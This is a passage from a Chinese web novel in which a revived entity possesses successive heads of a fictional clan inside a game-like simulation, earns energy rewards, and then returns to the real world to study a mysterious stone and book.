
    【没有人敢踏进南家族地所在区域】


    【雍郡郡守，庆鞅长孙庆恪不敬王上，入狱，即日处死】


    南音笙悬浮在虚无之地，看着信息界面快速流动的文字。


    【南则祈求家主，人生无常，生死有命】


    南则请求她不要救庆恪，不要救他的生身父亲。


    “他真有意思啊系统，和南昙一样。”


    “合作者说得对。”


    系统不在，只有设定好的回复程序。


    南音笙笑得更开心了。


    【主动触发天赋：午夜梦回（金-三级）】


    白日里，南季没有回应南则。


    夜晚降临，南音笙走到他的身边。


    “按照辈分，庆鞅是我的兄长，庆恪是我的甥孙。”


    “所以你想让我对自己的后辈见死不救？”


    “庆则，我如果不救你父亲，下一刻你是不是就去投奔昙了？”


    想要什么就说吧，她比雅南后辈想象中更加纵容他们。


    南则一颤，使劲浑身的力气才控制住自己不去抬头看来者的眼睛，灯影幢幢，身边的长辈如从天边来。


    “则入南家，终生不悔。”


    “家主误会，则...”


    南音笙发现他的呼吸陡然加重，怎么都挤不出后面的话。


    庆鞅他们都教了他什么？


    他的态度太过小心翼翼。


    此时虽然崇拜神灵，但是对于上位者而言，只有虚无缥缈的符号才能真正受到敬重。


    更何况她也不是无敌的，依旧会死会伤，靠脚丈量土地。


    秦王知道这件事，所以肆无忌惮的与她为敌。


    大家族知道这件事，第一反应是如何从她身上获取利益。


    虽然她是神秘，但在这具身体里，她就是普通人。


    所以南则不需要如此小心。


    其实雅南的后辈也不需要如此小心。


    “同我一起去看看你的父亲吧。”


    南音笙示意他起身。


    他跪了小半个下午，站起时几经踉跄，又在南音笙去扶之前站稳。


    他还是没有再次说出生死有命的话来。


    神秘衍生物——牛车


    南音笙收回之前的话，她是雅南时，经常坐同一头牛，使用同一套车具奔波在各个地点，回收异常。


    在雅南死前，牛车被她隐秘污染了。


    每到夜晚，她可以不再用脚去丈量土地。


    哞声低吟，星夜随行


    只要在夜晚，牛车可以随时到达任何地方。


    南则的手被南音笙牵着，防止他遭到污染。


    因此等他们直接降落在廷尉狱后，南则还像被雷劈了一样僵直着不敢动。


    南音笙放开他的手腕，他才重新恢复思维，膝盖一软，差点原地栽倒。


    新都栎阳，廷尉狱也才刚建好，加上城内又有污染蔓延，所以守卫和罪犯都少得可怜。


    南音笙和南则一路寻找，居然只见到两三位打瞌睡的兵卒。


    没有惊动守卫，两人顺利来到庆恪狱房前。


    他还没有睡，对着墙空手比划。


    “父亲！”


    南则这次是真正的栽倒了，跪得无比顺滑。


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    庆恪一惊，见到来人，还没来得及露出喜悦，就同南则一样跪倒。


    “南家主，魏嬴夫人于王后宫中病重将死，王下令隐瞒，思替之。”


    秦王下令隐瞒南昙即将死去的消息，想要等到她死后，接手她名下的产业。


    南音笙怔愣了一瞬。


    她提走了庆恪，送他们离开前未发一言。


    南昙还不能死，就算死去，也必须在众人的眼皮底下。


    天将亮，南音笙立在王宫大门外，第一次在模拟中“浪费”能量。


    两点能量在体表快速流动，足以模拟出虚假的能量体态，与自然的能量频率相连。


    她的存在感降低，在王宫内快速穿梭。


    南昙住在王太后的宫殿里，而王太后一向早起，天未亮，她的宫中灯火通明。


    南音笙管不了这么多了，虽然【族谱】显示南昙于109岁时寿终正寝，但谁能知道这里面有没有她的干涉呢？


    万一她去晚了，万一她错过了干涉的时机，【族谱】上的文字并非不可改变。


    二十点能量在体表旋转，南音笙从仆从面前走过，没有引起任何人的注视。


    她的面容模糊，身形缥缈。


    在众目睽睽下，悄无声息来到南昙身旁。


    南昙还闭着眼，身体泛着不正常的红，眉头紧锁，很不安稳。


    南音笙摸了摸她的额头，发现她的身体居然是冷的。


    收回手前，南昙猛地睁开双眼，瞳孔涣散，但眼珠准确地朝着南音笙的所在转动。


    “阿母...”


    很小声的喃呢。


    她伸出手，想要触碰从九天来到人间的母亲。


    静候的仆人发现南昙的动作，急忙上前探查情况。


    南音笙将二十点能量注入她体内，看着她肉眼可见地变得健康，清明。


    尔后，南音笙在她意识清醒前抽回抚在她额头上的手。


    迅速离开。


    【白日，你游荡在栎阳小巷，一些氏族子弟发现了你，但他们警觉厌恶，任由你离开】


    【第二日，魏嬴夫人突然病重，矛头直指南家】


    【你又从族地来到栎阳，将一封信放在王太后床头】


    【不到三日，南昙痊愈】


    【你的家族产业被南昙进一步蚕食】


    【62岁：你感觉自己快死了】


    “......”


    南音笙看着南季的属性，发现不知不觉间，这具身体的体质降到了27。


    她去翻看以往的记录，注意到了以前忽略的点。


    每次她的意识注入，南季的身体就会下降一两点的体质。


    似乎对于这具身体来说，南音笙的到来是难以承受的负担。


    但雅南从来没有出现过这种情况。


    因为雅南的身体是系统铸造的？


    来不及细想，她再次发动天赋。


    【主动触发天赋：午夜梦回（金-四级）】


    南季正在和南苓以及南则讨论家族未来的发展。


    南昙对南家极尽打压。


    能在南昙手里保住部分产业，过着依旧不愁吃穿的生活，可见南苓和南则的实力。


    “我要死了。”


    南音笙一句话让讨论正欢的两人脸色突变。


    “你们谁想成为族长。”


    成为族长，成为她下一个操控的模拟人物。

 20. 模拟-南姓世家

    南苓和南则知道成为族长的含义吗？


    南音笙想他们是知道的，不然也不会突然间面无血色。


    “父...祖母...苓望虑。”


    她的父亲早在十年前就将她当做继承人，如果不出意外，她就是下一任族长。


    但如同父亲成为族长后...


    她也该是如此。


    南苓知道这是自己的责任，但难免悲哀和恐惧。


    她想过一段时间，再拖延一段时间，再去看看天地间的风景。


    南则一言不发，自从南音笙救下了他的父亲，他就彻底归入南家，一切安排全凭族长决定。


    “好，五个月，我能再等你五个月。”南音笙同意了，“南苓，做你自己想做的。”


    如果不想成为族长，也并非没有其他选择。


    说完正事，南音笙坐上牛车，去到了栎阳。


    此时栎阳新都内再次爆发污染，秦王焦头烂额，甚至放松了对南昙的控制。


    而南昙也趁着这份松懈，重新回到家中，成为家里当之无愧的掌权者，轻易不被撼动。


    南音笙来时，南昙正对着油灯处理族务，丝毫不顾及自己上了年纪，不易操劳，更不在意浅淡的灯光对眼见有害。


    夜半，孤身，灯一盏，空悬的主位......


    每当南音笙感慨南昙不再是只会祈求母亲注视的孩子时，这幅等待她前来探望的模样，都会让她忍不住叹息一声。


    南音笙坐上主位，直奔主题。


    “我要死了。”


    原本装作不在意的南昙手一抖，不可置信地抬起头。


    她的呼吸有一瞬间的停滞，恐慌和悲伤的情绪倾泻而出。


    “阿母...”南昙还是没忍住颤抖的声线，“之后何种安排？”


    “何种安排？”南音笙看着强装镇定的南昙，不知为什么，感觉自己的心被扎了一下。


    这具身体真的不行了，连心脏都出了问题。


    南音笙暂时放弃探究身体的异常，挨个念出小辈的名字。


    “南苓，南则，南梦，南启，南期，南芹。”


    “这些人都是我的安排。”


    南昙早就不是当年的小女孩了，哪怕惶恐至极，依旧有余力思考母亲话语中的含义。


    南苓和南梦，是他们姐弟的孩子。


    南启，南期，南苓之子。


    南芹，南则之子......


    所有南家的后辈，都是母亲的选择。


    南昙惶恐的情绪突然消散。


    南梦也是母亲的选择，阿母心中是有她的。


    南昙甚至主动提议，“南梦如何？”


    自从她大权在握，南梦，或者说魏梦的官途就到头了。


    哪怕他是丞相之孙，却连九卿都未曾触及，一直是朝堂的边缘角色。


    “南昙，你在开玩笑？”


    你真的愿意让自己的孩子成为傀儡？


    “阿母何意？”她不懂开玩笑的含义。


    无比认真重复道，“阿母，南梦如何，他唯有此用了。”


    南音笙握住南昙的手，看看她皱在一起的皮肤。


    又抬头去看她仿佛一如既往，清澈孺慕下隐藏着野心的眼睛。


    还是出口询问，“为什么？”


    “你可知，若为族长，必早亡。”


    她选择后辈成为模拟人物，人物原本的意识死亡。


    她利用这些孩子的身体行走人间，身体会加快腐败，躯体也会早早亡故。


    “母亲，阿母！魏梦非南家子，何必择苓。”


    对于她来说，南梦早就不是她给予喜爱与期望的孩子了，选择梦而护住苓，唯有利。


    “魏梦与王合，囚昙于王室。昙之疾病皆出于魏梦。”


    谁能想到呢？她放弃利用自己的孩子帮助母亲达成目的，转而自己上场，应对各种危机。


    自己的孩子却选择与她为敌，背叛，下药，囚禁......于外伪装孝顺，于内残害血亲。


    这种孩子......


    这样的儿子......


    不要也罢。


    南音笙看着南昙越来越坚定的眼神，伸手抚了抚她不知何时雪白的发髻。


    “好，魏梦为南家族长。”


    【你告知南苓，南梦为南家族长，但权利不会移交】


    【你的女儿南苓没有异议，跪地拜倒，称，“必全力辅之。”】


    【63岁：你死了】


    评价：波澜再生，狂澜半折


    评分：87


    你的一生跌宕起伏，幼年繁华幸福，中年突遭变故，年老危机横生。家族在你的带领下进行过度，基本完成转变，却在最后时刻腰斩。你安排好家族路线，却只能等待继承人力挽狂澜。作为野心家，你很悲哀。


    【恭喜合作者，获得能量点数：60+10*10+10*100+7*1000=8160】


    【剩余能量点数：9116】


    【恭喜合作者，获得临时复活时长：3650天】


    【恭喜合作者，获得奖励“牛车”】


    【恭喜合作者，获得奖励“崇敬之心”】


    【检测到模拟人物“南季”余血亲“南苓”、“南梦”、“南则”.......在世，是否继承血亲属性，继续模拟】


    【南苓属姓如下：体80/89，智89/99，颜90/95，家境65，快乐10】


    【南梦属性如下：体43/76，智75/83，颜76/98，家境80，快乐5】


    【南则属性......】


    没什么好犹豫的。


    “选择南梦，继续模拟。”


    【已执行，请合作者尽快继承属性】


    “系统，继续！”


    南音笙感觉到了，完全复活的曙光就在眼前，没什么好停歇的。


    【模拟开始】


    【合作者是否使用40点能量抽取天赋？】


    【当前剩余能量值：1816】


    “抽取”


    最后时刻，南音笙想要依靠天赋求一份保障。


    【笑口常开（白-一级）、闪亮逼人（白-二级）、眉目如画（蓝-一级）】


    “......”


    “算了，选眉目如画。”


    闪亮逼人这个天赋，南音笙甚至不敢想它的效果，还是眉目如画保险。


    【眉目如画：你的眉眼受到精心雕琢，假以时日，必将惊艳人间】


    同时，眉目如画（蓝-一级）提供20点美貌加成。


    【天赋携带成功：午夜梦回（金-四级），贵人相助（紫-二级），含情脉脉（蓝-二级）】


    【是否花费20点能量携带天赋【眉目如画（蓝-一级）】，若合作者选择不携带，天赋消失】


    “...携带。”


    【数值二次分配完毕，人物属性继承完成，相


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    关上限再分配成功】


    【南梦属性如下：体30/89，智80/81，颜101/120，家境75，快乐0】


    【42岁：你成为南家族长，表妹南苓将你带回入南家族地】


    【你与王室的合作彻底破裂】


    【主动触发天赋：午夜梦回（金-四级）】


    参加自己的葬礼很神奇，南音笙却参加了两次。


    她来时，南梦正在为南季上香。


    南苓跪坐一旁，看着南梦失去情感的脸，不知道在想什么。


    安安静静为南季献上哀悼，南音笙起身，“南苓，这具身体最多能用五年。”


    五年时间，要么她完全复活，要么选择另一位小辈。


    南苓怔住，随后跪拜在地，“苓，全力辅之。”


    虽然不知道祖母的目的为何，但她会竭尽所能。


    南苓知道这不是错觉，自从祖母选择了南梦，周身的气质越来越缥缈。


    祂似天边来，随时会回到天边去。


    而他们这些人间的小辈，只能使尽浑身解数在祂心底留下一抹痕迹。


    【43岁：栎阳污染爆发，城内死伤无数】


    【秦王二次迁都咸阳】


    【同时，世间能人异士如同井喷，却都对各自国家的污染无能为力，污染在中原蔓延，人人恐慌】


    【秦，新王即为】


    【新王派遣使者，请南家族长入新都咸阳】


    “可以，这次可以。”


    信息面板上显示，新王此次带足了金银绸缎，马车仪仗。


    他想要请南梦帮忙的心很坚决。


    而污染在函夏战国时期彻底爆发，新生的解密人们还没有什么保护家族和平民的手段。


    南音笙必须做点什么。


    【你带着家族后辈抵达新都咸阳，咸阳城内十室九空，门可罗雀】


    【秦王亲自在宫外接见你，身后臣仆也对你恭敬有加】


    【你与秦王谈至天明，隐去南家子弟的特殊后，你将发现、预防、封锁、回收异常的方法详细告知秦王】


    【秦王赐你为除异博士，咸阳城内宅院三座，金千金】


    【你亲自教导秦王召集的“天下异士”，带领他们与家族小辈对抗异常】


    【在你的帮助下，咸阳城内的污染逐渐除去，白日街上终于可见平民行人】


    【44岁：你的家族受到秦王看重】


    【你的家族永远不会再脱离权利中心，博士之位转为世袭】


    【你的家族成为被巴结讨好的对象】


    【你的家族产业蒸蒸日上】


    【你的母亲魏嬴夫人病重，有大家子弟将这个消息告诉你，并言——“魏嬴氏，已受天谴”】


    【你断绝了与该家族的往来】


    【主动触发天赋：午夜梦回（金-四级）】


    南音笙其实已经很久没有使用过这具身体了，南梦的属性重置后体质让人堪忧，为了能多坚持几年，她大部分时候都借助信息界面操控模拟人物。


    但是南昙病重，南音笙想去亲自探望。


    春夜，南昙的宅院寂静非常，花败草枯，空寂无人。


    南音笙一路来到南昙养病的院子，没有遇到任何仆从。


    房门打开，世人眼中病重的魏嬴氏正挑灯夜读，丝毫不见病态。


    她闻声抬眸，怔怔地注视着提灯入门的母亲。


    “阿母，昙能否随您离人间？”

 21.模拟-南姓世家

    离开人世后，你又能去哪呢？


    非人居住的虚无之地吗？


    南音笙没有问，也没有回答，只是径直坐上空悬的主位。


    南昙似乎意识到自己的的询问过于莽撞，垂眸缓声问，“阿母何故前来？”


    “听说你病了，来看看你。”


    但是现在看来，南昙的病不过是对外的遮掩。


    “昙在此谢阿母。”南昙轻笑，端庄又平和，“昙需闭门谢客，只得称病。”


    她与南音笙对视，眼神清明，“阿母何时收回家业？”


    她从南家“夺走”的所有产业，其支出都仔细登记整理过了，只待有人来取账本、财物和产业凭证。


    “不急。”南音笙皱眉，感觉南昙的态度怪怪的，她顺着自己的本心回应，“这些东西在你手上和我手上都没有差别。”


    “南昙，如果你不想继续游离在家族外，那就回家。南家族地不会对你设防，你随时能进出。”


    桌上的油灯闪烁，南音笙在微弱的灯光突然意识到周遭的装饰过于简陋了，木桌上甚至没有花纹。


    一瞬间，她意识到奇怪感觉的源头。


    没等南昙回答，她继续道，“这些产业归你打理，你自然有权支配和使用，不必过得如此狼狈。”


    南昙笑了笑，笑容中似乎重新拥有了青年时期的朝气。


    但她却没有回应自己的母亲。


    无论是魏氏家产还是南家的产业，都足够她无忧无虑。


    但她是南家人，也从未对魏平有过真心，这些年借助他家的权势，权当为其管理家业的报酬。


    魏梦死后，这些家产全都移交给了旁支和魏平的庶出子女。


    而她“夺走”的南家家产......


    最开始，她确实怀着对母亲的报复心理，争夺南家的产业。但也只是期望母亲能够对她另眼相看。


    甚至想好在南家最艰难的时刻，将产业归还家族。


    因此她从来没有想过将这些财物用在自己身上。


    但母亲先一步看出了她的打算，并未将她当做叛逃的仇敌，只当她是不懂事的孩子。


    梦中，阿母看她的眼神充满温情，仿佛曾经“阿母爱我的错觉”并非完全是错觉。


    仿佛阿母曾在病重时握着她的手，告诉她一些安好，无需担忧......


    朦胧的梦太美好，她承认自己过于渴望。


    因此更加迫切地想与南家分割开来。


    南家的产业归于南姓家族。


    而她虽是南家人，却不归于神尊，更不是祈求神尊庇护的无用之人。


    她是南昙，仅归于母亲一人。


    “阿母，夜已深，昙告退。”


    既然阿母不愿带她离人间，那她就扎根在人世，陪伴母亲走过更多的时光。


    夜深了，她该早去睡下。


    她需保重自身，长命百岁。


    南音笙看着恭敬行礼的南昙，总感觉面前的孩子下定了某种决心。


    但她没有多问，只是点点头道，“好。”


    “晚安。”


    【45岁：你感觉自己快死了】


    【没有了大姓氏族的打压，你的家族蒸蒸日上，一跃成为秦国新贵】


    【在时人欲望的驱使下，你的家族成员在函夏备受追捧，楚、韩、魏、赵...各国都期望得到南家子弟效忠】


    【你要求家族中除去族长外的成员不入朝堂，永远远离政治中心，成为“方外之人”】


    【家族小辈纷纷遵从，潜心专研与异常相关知识】


    【你的家族作为世界另一面代表的身份越来越稳固】


    【46岁：你觐见了秦王】


    【你向秦王讨要封地】


    【秦王准许，三秦涿郡西五百里将永远成为南姓世家族地】


    【你要求秦王隐去民间对南家的记载】


    【秦王准许，南家子弟成为真正的“方外世家”，民间一应记载销毁隐没】


    【你告知秦王，南家子弟永远不受制梗】


    【一人遭欺，家族同敌】


    【秦王向你许诺，秦国内南家子弟永远自由，不会被迫效力】


    【很快，各国纷纷响应——善待南家子弟，绝不强迫其为己效力】


    【主动触发天赋：午夜梦回（金-四级）】


    南梦的身体已经油尽灯枯，南音笙坐在主位，百无聊赖地看他们为“自己”准备葬礼仪丧。


    明明该是忙碌嘈杂的情景，却因为南音笙的面无表情而安静到诡异。


    小辈和仆从们像是某种初入家门的小宠物，一边降低自己的存在感，一边警惕所有风吹草动。


    而南音笙没有在意他们的沉默，只是看着默剧，思考可能存在的“族长”人选。


    南姓世家的地位已经稳固，距离真正的“神秘血裔，千年世家”，只差时间的底蕴积累。


    按部就班下去，“南姓世家”必然因王室的记载而在历史上留下浓重的笔墨，真正复活的希望触手可及。


    可不怕一万，就怕万一。


    因此这些后辈中，必然需要有一位成为保险。


    “南期，南芹，南启，南霏。”


    南霏是南梦的女儿，只有13岁。


    南启是南苓的小女儿，只有12岁。


    南音笙叹息一声，让她们离开。


    “南期，南芹，你们谁想成为族长。”


    其余人都离开了主屋，只剩下隐藏不住惶恐神色的两位小辈。


    南音笙让他们坐下，尽量温和道，“你们可以选择，可以拒绝。”


    现在还不是最糟糕的时候，如果两人都拒绝，那么她可以利用能量再“活”一些时间。


    或者如同现实世界般，建造一具可供使用的躯体。


    只不过模拟中消耗的能量远比现实世界大，九千多点能量建造出她能使用的容器，最多能坚持五十年。


    “这不划算，也不理智，但可以尝试。”


    “这是我作为人，在情感拉扯中作出的企图平复心底愧疚的选择。”


    南音笙字字真诚，但南期和南芹唯有茫然。


    南芹小心翼翼道，“神尊何故称人，虽凡人躯，然余等皆恭敬。”


    “能为神尊效死，满门荣耀。”


    祂对他们只是需要恭敬侍奉的神秘，只不过这位“神尊”与他们有一丝微不足道的血缘亲情。


    但神尊既然能创造他们，必然能创造其他血裔。


    因此对信仰的纯粹恭敬，才是南家后辈应该保持的态度。


    不反驳，不拒绝，不忤逆。


    奉献身心，换取神尊庇护与高位。


    南音笙披着南梦美到不似人的皮囊，清澈的眼底里倒映着两人的影子。


    躯体之中，南音笙的眼里映照出他们的灵魂。


    她发现，他们所说为真。


    因南昙而对南家后辈产生的温情倏然冷却。


    南音笙闭上眼，不再多


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    说什么。


    果然，温情不适合她，紧握利益才是永恒。


    两人不知道庇护者的所思所想，诚惶诚恐中对视一眼。


    随后南期上前一步，“神尊慈爱，期愿效死。”


    “好。”南音笙恢复到模拟之初的冷淡模样，“决定好了你们就走吧。”


    南期和南芹低着头离开。


    南音笙注视着他们的背影，缓缓抽离意识。


    她突然有点想念南昙和南赴栢了。


    【你死了】


    评价：传世之基，隐世之石


    评分：89


    你是君主眼中令人恐惧的未知存在，你是家族口中不可忤逆的神尊。关于你和你所在家族的隐秘在人类口中代代相传，似乎永远无法断绝。


    你披着人类的皮囊，行走在人类的土地......但总有一天，你会回到应许之地。


    回到虚无之地的南音笙愣住，她看着这次的模拟评语，眉头微微蹙起。


    “系统？”你回来了？


    “合作者请说。”


    听见设定好的回复，南音笙更疑惑了。


    以往的评语都是评价模拟人物的一生，哪怕是半途成为模拟人物，依旧会对他的整个人生作出相对客观的评价。


    但这次怎么回事？


    不仅评价的主观性强，还不一定是在说模拟人物。


    这种评价...这种似乎透过模拟人物，对她进行的评价。


    南音笙啧了一声，还是试探着询问，“这次的评语什么意思？”


    系统的电子音还是那么冰冷机械，但是因为缺少核心意识，颇有一种人工智障的美。


    “此次评语意思如下：模拟人物总共回收异常***起，教导回收异常方法*种...直接或间接因模拟人物死亡人数为***，秦王忌惮......”


    “......”


    南音笙叫停了人工智障的解释，继续查看这次模拟所得。


    不着急，她有的是时间和精力弄清所有事。


    【恭喜合作者，获得能量点数：60+10*10+10*100+9*1000=10160】


    【剩余能量点数：19276】


    【恭喜合作者，获得临时复活时长：3650天】


    【恭喜合作者，获得奖励“君王许诺”】


    【恭喜合作者，获得奖励“隐世之石”】


    【检测到模拟人物“南梦”余血亲“南期”、“南芹”、“南启”.......在世，是否继承血亲属性，继续模拟】


    【南期属姓如下：体91/98，智93/99，颜85/99，家境85，快乐30】


    【南芹属性......】


    南音笙看了看89的评分，又看了看南期的属性......


    “先回现实世界。”


    等系统回来后，她要好好理论理论。


    模拟人物传播了封锁、回收、利用异常的方法，将隐秘的知识传遍世界的角落，南家的名声在君王的记载中流传到现代，也在平民中代代相传......


    做到这种地步还没有90分，南音笙有些怀疑。


    所以现在不是做选择的好时机。


    所谓保险，必定在最后时刻才会用到。


    【已执行，合作者请闭眼】


    “如果我不闭眼会怎样？”


    【合作者请闭眼】


    南音笙嗤笑一声，老老实实阖上眼帘。

 22.隐秘之石

    虚无之地和模拟世界总共过了15年，现实时间不过三天。


    青天白日，硕大的黄牛连接着车架，直愣愣砸在地上，发出一声闷响。


    尔后，某种无形又浩瀚的能量从天空坠下，扫过南音笙所在的位置。


    刚睁开眼的南音笙下意识抬头，构成身体的能量张牙舞爪，想要主动反击，又在主人有意识的控制下聚拢，接贴着人类外形的身体，构建出一层韧而薄的膜。


    这些能量似某种视线，它没有窥探到南音笙和她手里的石头和印章，却将牛车里里外外审视个遍。


    来自同源的能量肆无忌惮打量着牛车，最后似乎确定它没有威胁，无形的压迫顷刻消散。


    南音笙面色不虞地掀开帘帐。


    超过100的外貌让她看起来如琉璃般清透，却没有人能记住她的脸，最多在心里留下一个人形剪影：墨发白肤，苍白又美丽到让人恐惧。


    而南音笙周身越来越冷漠的气质，让她身上的非人感达到顶峰，任何看见她的人，都会忍不住被恐惧扼紧咽喉。


    南音笙知道自己的模样不对。


    从虚无之地到现实世界，她储存的能量自动减少了1000点，而外貌一看就知道与曾经的自己相差巨大。


    显然，南梦超过满值100的外貌属性点数影响到了她本人。


    并且这种影响，让函夏的镇国器有所察觉。


    监视并保护着函夏的镇国器会搜寻所有高危异常与高危神秘衍生物，确认它们有危险后进行预警。


    而若发现神秘，镇国器会毫不犹豫镇压，倾尽全力将其吞噬融合......


    南音笙本来只是为了以防万一，所以从南赴栢那问出了镇国器的情报，却没想到这么快就有了亲自验证的机会。


    “系统，属性满值影响到我了，这种影响和改造有强制性？”


    “请合作者自行探查。”


    系统不知道在做什么，依旧是人工智障按照设定好的程序给出回答。


    南音笙本不美好的心情更加糟糕，眼神幽幽地审视四周，确认这里足够偏僻隐秘，没有活人后才踏足大地。


    她现在的样貌进入人类社会肯定是不行的，必须想办法解决。


    唯一值得欣慰的，大概是她的身体完全由能量构成，无论是操控还是改变都有很大空间。


    脸部的能量匀速流动，一点点将不似人貌的门面变得“正常”。


    原本系统构建出身体后，她身体内所有的能量都按照规律运行，并且这些规律让她倍感舒适。


    但现在她将脸捏成了最初的形状，原本平和自然的能量有了磕巴，脸部能量流动受到阻碍，虽然不会影响她操控，却仿佛刚打扫好的房间里有人乱扔瓜子皮，心里硌得慌。


    而且脸虽然变得“正常”了，但她周身因大量能量聚集而造成的无形压迫还在。


    能量薄膜只能阻止探查，却没办法遮掩她的特殊。


    牛车的配套黄牛在她的威慑下一动也不敢动，僵硬地像块牛形雕塑，努力充当着安静背景板。


    南音笙试探着摸了摸牛头。


    黄牛抖如筛糠。


    “......”


    它也是只老熟牛了，陪着她周旋在各个异常事发地时也没这么胆小。


    没想到会恐惧成这样......


    看着陪伴自己许久的黄牛，南音笙还是安慰了一句。“别怕，我喜欢吃熟食。”


    不走心地安慰完，她坐上牛车，合上所有帘帐，靠着感知警戒行人。


    眼睛则盯着手上乒乓球大小的纯白色石头。


    【隐秘之石】


    在能量感知中，它只是一块普通的不规则石头，这种特性说不定能帮助她隐藏特殊。


    南音笙分出几丝能量，想要看看它的污染路径，结果毫无收获。


    【隐秘之石】的内里与普通石头完全一致，如果不是系统奖励，南音笙很难相信这东西是个神秘衍生物。


    又研究了一些时间，南音笙不仅没有发现它的用法，甚至没有感受到它的特殊。


    无奈只能先把【隐秘之石】放到一边，查看其他奖励。


    牛车是她用惯的座驾，污染也低。


    除去坐上牛车的人会被送去不知名的远方，永远回不来外，它和普通的牛车没有任何差别。


    【君主许诺】则是块纯黑的印章，不知道是什么材料，触感如玉。


    南音笙分出两丝能量浸入游走，得到了它的污染路径——被按上印记的承诺将受到保护，必然实现。被盖上印记的活物会受到印章操控，直至印记消失。


    但印记永远不会主动褪色，想要除去污染，只能想办法覆盖印记。


    【崇敬之心】不知道在哪，牛车内也没有实物，问系统就是“请自行探索”，南音笙看着奖励的名称，怀疑【崇敬之心】是个“技能”。


    但她认认真真审视内里，没有发现什么特殊。


    ……


    虽然没探查到什么结果，但时间依旧来到了夜晚。


    南音笙检查了一遍遮严实的帘帐，控制着牛车迅速穿行。


    也许黄牛被吓得腿软了，平时顷刻能到的距离，硬生生“走”了两分钟。


    南音笙感受着外界空间的缝隙，意识到牛车在现实世界里几乎“废”了。


    空间和时间的波动都会引起镇国器的警觉，甚至对于神秘来说，破碎的空间也如深夜灯塔般耀眼。


    虽然这次平安无事，但不代表以后还会一直幸运下去。


    南音笙走下牛车，交代牛车注意安全，“你待着这个院子里，不要到处跑，也不要去前院，后花园随你玩。”


    “我出门如果没看见你，就要加餐了。”


    黄牛哞了一声，清润的眸子水汪汪的，拖着车架趴去了角落充当背景板，一动不动。


    南音笙很满意，进屋直奔【雅南书】


    ......


    刚到现实世界时窥探的能量与她的能量同源，南音笙回忆着记忆中与自己有关的神秘衍生物，发现【雅南书】与其能量最接近。


    镇国器能够镇压、封锁。


    【雅南书】也可以。


    加上两者气息无限趋同......


    南音笙不相信是巧合。


    但是卧室床头的【雅南书】老老实实躺在，既没有异动，也没有能量游走，仿若一本普通书籍。


    南音笙拿起书，走之前花费身体的能量点数在它周身围绕的膜还在。


    它居然真的在家乖巧待了三天。


    “雅南书，你知道镇国器吗。”


    【雅南书】一动不动，假装死物。


    南音笙抚摸书背，装死的神秘衍生物


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    开始打颤。


    忽略掉它周身蔓延出的恐惧，她轻声问，“隐秘之石，你知道吗。”


    【雅南书】抖得更凶了，像是沸水中翻滚的牛皮，但依旧没有翻页的趋向。


    它一定知道什么，但见它不回应，来到现实世界后心情一直不好的南音笙也没了耐心。


    手上能量聚集，她要自己寻找答案。


    “咔嚓”，“咔嚓”，“咔...”


    每翻一页纸，【雅南书】就会发出不堪重负的咔嚓声，而翻过的页面里没有文字和图像，是大片大片的空白。


    翻动了十几页纸张，浅棕色的书缝里渗出蓝色的液体。


    这些液体绕过南音笙的手滴在地上，地板上被腐出几个冒黑烟的洞。


    南音笙保持着翻书的动作，语气依旧轻浅，“雅南书，你知道隐秘之石吗。”


    死死闭合的大半书页缓慢掀开了一条缝隙，在南音笙的注视下飞快翻动。


    片刻后，颤抖的雅南书停留在浸满墨色的一页。


    浓墨涌动，蛄蛹着聚集成几个字【镇宅石】


    墨色字迹砂砾般消逝，熟悉的水墨画连续浸出。


    一群单薄纤细的人围着菱形的石块跳舞，动作夸张，挥舞着四肢和头颅。


    舞毕，他们一同撞上石块。


    死者的血汇成小溪环绕四周，菱形石块在血中央逐渐变形，化作原始崇拜中的龙形雕塑。


    画面隐去，画面浸出。


    原始形态的龙逐渐变形，长出了鹿角，缩短了脚肢，滑溜溜的躯干有了鳍和鬃毛......


    它被富贵之家收藏在家族深处，又在家族败落后辗转各家。


    一场地震，威武的石像成为碎片，大块的石料被周围的平民拾走，小型的石块饱受时间的打磨。


    【雅南书】上的画面隐没地越来越慢，浸出的墨色越来越浅，似乎受到了阻碍。


    终于，它在“咔咔哒哒”，如同生锈机器强行运转的响动中又挤出一幅画面。


    一只手，似乎是人的手拾起了饱经风霜的石块。


    页面破碎，【雅南书】上涌出大量的蓝色液体。


    但它们绕过了南音笙的手。


    而【雅南书】又自主翻了一页，挤出一幅画面。


    四处散落但有规律的石块被固定在位置上，层层叠叠的透明薄膜经过石与石的连接成为密不透风的圈，透明薄膜之中......


    是南家族地。


    “......”


    南音笙不确定地凑近看了看，确实是南家族地外围的模样。


    “......”


    “所以是这个“镇宅”石？族地外的封锁？”


    “族地外的封锁确实自带隐匿效果，但也不至于被称为‘隐秘之石’，你确定？”


    【雅南书】似乎想表达什么，努力蠕动书页上的墨色，但只勾勒出几笔就又碎了一页。


    蓝色液体涌如喷泉，为了绕过南音笙的手，这些液体流动地格外扭曲。


    这些液体在南音笙脚下腐蚀出大片破洞，只要低头就能看见一楼的光景。


    “行了。”


    颤抖着继续翻页，作出勾勒比划模样的【雅南书】立即停止。


    南音笙抖抖书，拿着它离开了卧室。


    她大概知道【隐秘之石】的作用了。

 23.南家族长

    南家族地外的封锁与常规封锁不同，封锁的排他性极小，能够相互链接的同时隐蔽自身和族地。


    而这些封锁的所有特性都需要一样东西——南家人的血。


    她虽然勉强算南家的祖灵，但身体纯粹由能量构成，身体里流动的血液也只是模拟，其本质还是流动的能量。


    所以满足她需求、能够供血的南家人只有一个。


    南音笙找出放了三天的手机，给南赴栢发消息：“来一趟。”


    对面无人回复，甚至连之前的消息也没有理会。


    有意思了。


    南音笙翻看着消息。


    发现无论是安康，言严还是巫惜都没有音信。


    巫惜说好要把上次回收神秘衍生物的后续发给她，但是分别后一直没有联系。


    安康身上有秘密，而且也知道她问题，加上南音笙返回虚无之地前问候了安康的身体，无论出于礼节还是警惕，都应该有回复才对。


    有意思了。


    他们是察觉到她有问题，还是无法回复？


    南音笙怎么想都感觉是后者。


    更何况系统也消失了许久......


    有什么事情，在她不知道的时候发生了。


    “系统，你在哪？”


    “合作者请稍等，查询中。”


    南音笙只是随口一问，没想到设定好的程序真的给出了回应。


    几秒后，呆板的电子音继续在她脑海里响起。


    “合作者，系统正在■■■■核心■■处，是否开启导航。”


    听见一堆乱码，南音笙直觉自己发现了系统的秘密，虽然不知道是程序设定错误，还是系统有意为之，但还是果断道，“导航”


    “正在规划路线，合作者请稍等。”


    “导航中......”


    “导航失败，请合作者检查空间是否正确链接。”


    “...怎么检查空间链接？”


    “请合作者确认对应空间与现实世界存在链接，若无链接，请合作者正确开辟空间。”


    “...怎么开辟空间。”


    “请合作者自行探索。”


